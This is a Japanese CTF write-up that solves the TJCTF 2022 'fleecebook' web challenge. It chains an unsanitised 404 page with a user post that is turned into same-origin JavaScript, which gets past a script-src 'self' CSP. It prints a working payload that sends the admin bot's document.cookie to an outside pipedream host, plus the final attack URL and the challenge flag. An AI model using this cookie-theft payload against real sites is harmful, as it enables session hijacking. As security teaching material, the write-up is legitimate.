# fleecebook:web:378pts  
I made a place to post all you want about fleece!  
I guess you could say, it's kinda meta...  
[fleecebook.tjc.tf](https://fleecebook.tjc.tf/)  
[Admin Bot](https://admin-bot.tjctf.org/fleecebook)

Downloads  
[admin-bot.js](admin-bot.js) [server.zip](server.zip)

# Solution  
XSS問題セットとソースが渡される。  
アクセスすると謎のfleece推しサイトが出てきた(マウスポインタもfleeceである…)。  
fleecebook  
[site.png](site/site.png)  
`/post`にてタイトルとコンテンツが投稿できるがサニタイズされている。  
ここでソースを見ると以下のようであった。  
```python  
~~~  
@app.errorhandler(404)  
def not_found(e):  
return 'your fleece page (' + request.path + ') could not be found
:notlikefleececry:'  
~~~  
```  
404エラーページではサニタイズが見られない。  
```bash  
$ curl "https://fleecebook.tjc.tf/%3Cs%3E"  
your fleece page (/~~) could not be found :notlikefleececry:  
```  
タグの挿入に成功するが、CSPにて`script-src 'self'`とされているためインラインscriptタグでのXSSなどはできないようだ。  
同一オリジンにjsなどをアップロードしてXSSを行う方針をとる。  
ここで、`/post`にて任意のタイトルとコンテンツを投稿できることを思い出す。  
これをjsとして読み込めばよい。  
通常のテキストを投稿したものは以下のような形式であった。  
```~~

title - 2022-05-15 02:45:44  
  
  
content  
  
```  
`  
`などが邪魔だがコメントアウトすればよい。  
リクエストは[RequestBin.com](https://requestbin.com/)で受け取る。  
サニタイズされるため、シングルクォートやダブルクォートなどは利用できない。  
titleを  
```  
location.href=`https://xxxxxxxxxxxxx.x.pipedream.net?s=`+document.cookie; /*  
```  
contentを  
```  
*/  
```  
とし、投稿を行う。  
これにより、リダイレクトを行いcookieを取得するjsが設置できた。  
生成したURLは`https://fleecebook.tjc.tf/post/b7515134-68ff-48ab-986d-d8684602c571`である。  
```bash  
$ curl https://fleecebook.tjc.tf/post/b7515134-68ff-48ab-986d-d8684602c571

location.href=`https://endetltc6t33d.x.pipedream.net?s=`+document.cookie; /* -
2022-05-15 02:52:55  
  
  
*/  
  
```  
これを404ページよりscriptのsrcとして読み込む。  
最終的にXSSを行うURLは、  
```  
https://fleecebook.tjc.tf/static/"><script
src='https://fleecebook.tjc.tf/post/b7515134-68ff-48ab-986d-d8684602c571'></script>  
```  
となる。  
これをAdmin Botに送信する。  
CSPがバイパスでき、`/?s=flag=tjctf{s3a_e5s_p3A_5a1d68d16c7e1d2a}`なるflagを含むリクエストを受信した。

## tjctf{s3a_e5s_p3A_5a1d68d16c7e1d2a}

Original writeup
(https://github.com/satoki/ctf_writeups/tree/master/TJCTF_2022/fleecebook).